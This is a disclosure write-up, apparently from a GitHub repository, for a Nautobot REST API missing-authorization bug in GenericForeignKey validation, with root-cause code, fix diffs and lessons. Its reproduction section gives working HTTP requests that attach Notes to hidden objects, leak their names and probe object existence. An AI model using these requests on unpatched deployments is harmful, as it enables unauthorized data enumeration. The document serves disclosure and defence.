Skip to content

Latest commit

 

History

History
250 lines (188 loc) · 14.8 KB

File metadata and controls

250 lines (188 loc) · 14.8 KB

CVE-2026-44794 — Nautobot REST API GenericForeignKey accepts UUIDs the user has no view permission on

The Nautobot REST API never checked "can this user see the target?" when an object referenced another object via a GenericForeignKey. Any user with create/update permission on a GFK-bearing model — Note, ContactAssociation, ConfigContext, ImageAttachment, Cable, RelationshipAssociation, … — could attach their object to any UUID in the database, including objects in other tenants / locations / sites the user has no read access to.

CVE CVE-2026-44794 (NVD)
GHSA GHSA-wpxj-44w3-2j6x
Severity Moderate — CVSS 5.4
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CWE CWE-862: Missing Authorization
Affected nautobot < 2.4.33, < 3.1.2
Fixed 2.4.33, 3.1.2
Authentication Authenticated user with add_<model> / change_<model> permission on any GFK-bearing model
Reporter @whatisproblem
Fix commits 9918bdb (2.4.33), 36cde71 (3.1.2)

Summary

A GenericForeignKey (GFK) is Django's escape-hatch for "this row points at a row in some other table; the table name is in column A and the row UUID is in column B". Nautobot uses GFKs in places where the linked target genuinely is polymorphic — a Note can be attached to any object, a ContactAssociation can be attached to any object, an ImageAttachment lives on any object, a Cable terminates on either an Interface or a ConsolePort or a RearPort, etc.

Nautobot enforces row-level permissions via Django object permissions: device.objects.restrict(request.user, "view") filters a queryset to rows the user is allowed to see (per location, per tenant, per role, etc.). The REST API uses that mechanism faithfully when you list or retrieve a GFK-targeted object — you only see Devices in your assigned locations.

But pre-2.4.33 / 3.1.2, when you created or updated an object that had a GFK, the API only validated that the target UUID existed somewhere in the database. It never asked "does this user have view permission on the target?" That gap let any user with create/update permission on a GFK-bearing model:

  1. Confirm whether a UUID exists in the database (an oracle for enumerating restricted objects: 200 OK = exists, validation error = does not).
  2. Attach their own object to a target they cannot read — e.g. write a Note onto a Device in another location, paste an ImageAttachment onto a hidden ApprovalWorkflow, create a RelationshipAssociation that links into a tenant they have no access to.
  3. Use the GFK reference to leak metadata about the target (the linked object's display field appears in the response of the attacker's object, even though the attacker can't list the target directly).

The advisory enumerates the affected models as: ImageAttachment, ApprovalWorkflow, Cable, ConfigContext, ContactAssociation, DataCompliance, Device, ExportTemplate, GraphQLQuery, Note, ObjectMetadata, RelationshipAssociation, StaticGroupAssociation, VirtualMachine. Anywhere a GenericForeignKey is exposed in the REST API.

Root cause

The serialization layer that resolves (content_type, object_id) → target object is implemented in nautobot/core/api/serializers.py. Pre-fix, the validation for a GFK reference was an existence check only:

# (paraphrased, pre-fix)
def validate(self, attrs):
    ct = attrs["content_type"]            # e.g. ContentType for "dcim.device"
    fk = attrs["object_id"]               # e.g. "...uuid..."
    ct_model = ct.model_class()
    try:
        ct_model.objects.get(pk=fk)       # ⚠ unrestricted lookup
    except ObjectDoesNotExist:
        raise ValidationError({"object_id": "Object not found"})
    return attrs

ct_model.objects.get(pk=fk) runs against the unrestricted queryset — the same queryset a superuser sees. The user's permission scope is ignored. Even when the rest of the same serializer is processing through ct_model.objects.restrict(user, "view"), the GFK target check uses raw .objects.

The same shape was duplicated locally in ImageAttachmentSerializer.validate() in nautobot/extras/api/serializers.py:

# (paraphrased, pre-fix — also unrestricted)
def validate(self, attrs):
    try:
        attrs["content_type"].get_object_for_this_type(id=attrs["object_id"])
    except ObjectDoesNotExist:
        raise serializers.ValidationError(...)
    super().validate(attrs)
    return attrs

get_object_for_this_type() is the unrestricted ContentType helper. Same bug.

The combination means: any model that had a GFK and whose API serializer ran through either of those two paths skipped the user-view-permission check entirely.

Reproduction

Setup

git clone https://github.com/nautobot/nautobot
cd nautobot && git checkout v2.4.32
docker compose -f development/docker-compose.yml up -d

Provision two locations and two users:

User Object permissions
alice extras.add_note, extras.view_note; dcim.view_device constrained to location.name="DC-A"
bob (admin) full superuser — used to set up the secret target

Have bob create a Device in DC-B (which alice is not permitted to view):

POST /api/dcim/devices/ HTTP/1.1
Authorization: Token <bob-token>

{ "name": "secret-device", "location": "<DC-B uuid>", ... }

→ 201 Created  { "id": "<DEVICE_UUID>", ... }

Confirm alice cannot see the device through the API:

GET /api/dcim/devices/<DEVICE_UUID>/ HTTP/1.1
Authorization: Token <alice-token>

→ 404 Not Found        ← correct: alice's view is restricted to DC-A

Step 1 — alice creates a Note pointing at the hidden Device

POST /api/extras/notes/ HTTP/1.1
Authorization: Token <alice-token>
Content-Type: application/json

{
  "note": "alice should not be able to attach this",
  "assigned_object_type": "dcim.device",
  "assigned_object_id": "<DEVICE_UUID>"
}

→ 201 Created
{
  "id": "<NEW_NOTE_UUID>",
  "note": "alice should not be able to attach this",
  "assigned_object_type": "dcim.device",
  "assigned_object_id": "<DEVICE_UUID>",
  "assigned_object": {
    "id": "<DEVICE_UUID>",
    "display": "secret-device",         ← leaked metadata
    "url": "/api/dcim/devices/<DEVICE_UUID>/",
    ...
  }
}

Two distinct problems are visible:

  1. The note was created despite alice having no view permission on <DEVICE_UUID>.
  2. The response leaks the target's display field ("secret-device") through the embedded assigned_object representation, even though alice cannot retrieve that device directly.

Step 2 — alice uses the API as a UUID-existence oracle

POST /api/extras/notes/ HTTP/1.1
Authorization: Token <alice-token>

{
  "note": "probe",
  "assigned_object_type": "dcim.device",
  "assigned_object_id": "<random-uuid-that-doesn't-exist>"
}

→ 400 Bad Request   { "object_id": ["Object not found"] }
POST /api/extras/notes/ HTTP/1.1
Authorization: Token <alice-token>

{
  "note": "probe",
  "assigned_object_type": "dcim.device",
  "assigned_object_id": "<DEVICE_UUID>"        ← still hidden from alice
}

→ 201 Created

The 400-vs-201 discrimination lets alice enumerate which UUIDs exist in the database without ever being able to retrieve the corresponding objects.

Demonstrative scope only. The PoC creates one Note pointing at one hidden Device to demonstrate the existence-oracle and the metadata-leak. A real attack would (a) iterate over UUIDs from a known external source (e.g. UUIDs harvested from logs, screenshots, ticket attachments) to confirm they live on the target instance, and (b) chain GFK-write into operational annoyance by attaching attacker-controlled Notes / ContactAssociations / RelationshipAssociations to records the attacker cannot read but the legitimate owner of the record can.

Fix

Patched in v2.4.33 (commit 9918bdb) and v3.1.2 (commit 36cde71). The fix has two complementary parts:

1. Centralised permission check inside the GFK validator

The base serializer's GFK validation is rewritten to apply restrict(..., "view") on the target queryset whenever a request.user is in context:

  def validate(self, attrs):
      ct = attrs["content_type"]
      fk = attrs["object_id"]
      ct_model = ct.model_class()
-     try:
-         ct_model.objects.get(pk=fk)
-     except ObjectDoesNotExist as e:
-         raise ValidationError({field.fk_field: "Object not found"}) from e
+     qs = ct_model.objects
+     if (
+         "request" in self.context
+         and self.context["request"]
+         and self.context["request"].user
+         and hasattr(qs, "restrict")
+     ):
+         qs = qs.restrict(self.context["request"].user, "view")
+     try:
+         qs.get(pk=fk)
+     except ObjectDoesNotExist as e:
+         raise ValidationError({field.fk_field: "Object not found"}) from e
      return attrs

The restrict() method is Nautobot's own queryset extension that filters down to rows the user has the requested permission on. By layering it onto the existence check, an unauthorised target now produces the same 400 / Object not found error as a non-existent target — closing the existence-oracle.

The hasattr(qs, "restrict") guard preserves behaviour for content types whose model managers don't have restrict() (e.g. Django built-ins), so the fix doesn't accidentally break GFK references to non-Nautobot models.

2. Removed the now-redundant local check in ImageAttachmentSerializer

Because the centralised validator now handles every GFK uniformly, the local override in nautobot/extras/api/serializers.py is deleted entirely:

- def validate(self, attrs):
-     try:
-         attrs["content_type"].get_object_for_this_type(id=attrs["object_id"])
-     except ObjectDoesNotExist:
-         raise serializers.ValidationError(...)
-     super().validate(attrs)
-     return attrs

This is good security hygiene: a duplicated check is a future divergence point. With one validator at the base layer, any future fix or refinement applies to every GFK-bearing model at once.

Behavioural change to be aware of

Pre-fix, "object exists but user can't see it" → 201 Created. Post-fix, "object exists but user can't see it" → 400 with "Object not found". The response body is intentionally indistinguishable from "object does not exist" so the API doesn't leak existence. Operators who scripted against the pre-fix permissive behaviour (e.g. automation that creates Notes on objects an automation user can write but not read) need to grant the read permission to those automation users explicitly.

Timeline

  • (internal research, prior to disclosure) — Discovered.
  • (prior to 2026-05-08) — Reported privately via GHSA Draft to the Nautobot maintainers.
  • 2026-05-08 — Patches released in v2.4.33 and v3.1.2; GHSA-wpxj-44w3-2j6x published; CVE-2026-44794 assigned.
  • 2026-05-10 — Public write-up.

Lessons

  • Write-side permission checks are not the same as read-side permission checks. If your authorization model says "alice cannot view object X", then alice cannot reference X either — not from a GFK, not from a filter parameter, not from a search-on-related-field. The naive write-side check ("does the FK target exist?") is a missing-authorization bug whenever the existence answer leaks an object's existence to a user who isn't supposed to know about it. CWE-862 covers this exact pattern.
  • Centralise the lookup, not just the check. The pre-fix code had the same existence check in two places (the base serializer and a local subclass). Each was independently wrong. Refactoring to a single qs.restrict(user, "view").get(pk=fk) choke point means any future refinement (auditing, telemetry, soft-deny) lands in one file. Duplicated security checks drift; centralised security checks accumulate.
  • Make "denied" and "not found" indistinguishable. Returning 403 for "exists but you can't see it" and 404 for "doesn't exist" is a side channel — an attacker can enumerate object existence by reading the status code. The fix correctly returns the same "Object not found" for both. The same principle applies anywhere a privileged lookup happens (e.g. reset-password endpoints that distinguish "wrong email" from "no such email").
  • Polymorphic foreign keys multiply audit surface. A GFK can target any model in the database. The set of "what objects am I now exposed to via this GFK" is the entire schema, not a single table. When auditing GFK call sites, ask: "across every model the ContentType column can name, am I willing to let this user reference that model?" If the answer is "no for some of them", the GFK needs filtering at the validator level — exactly what this fix does.
  • Queryset-restrict should be reflexive. The right invariant is: any user-controlled lookup, anywhere, should go through objects.restrict(user, action) where action is "view" for read references and "change"/"delete" for mutation references. Anywhere the codebase has a bare Model.objects.get(...) driven by request input is a candidate audit target. The fix here closes one such path; a follow-up grep would surface the rest.

References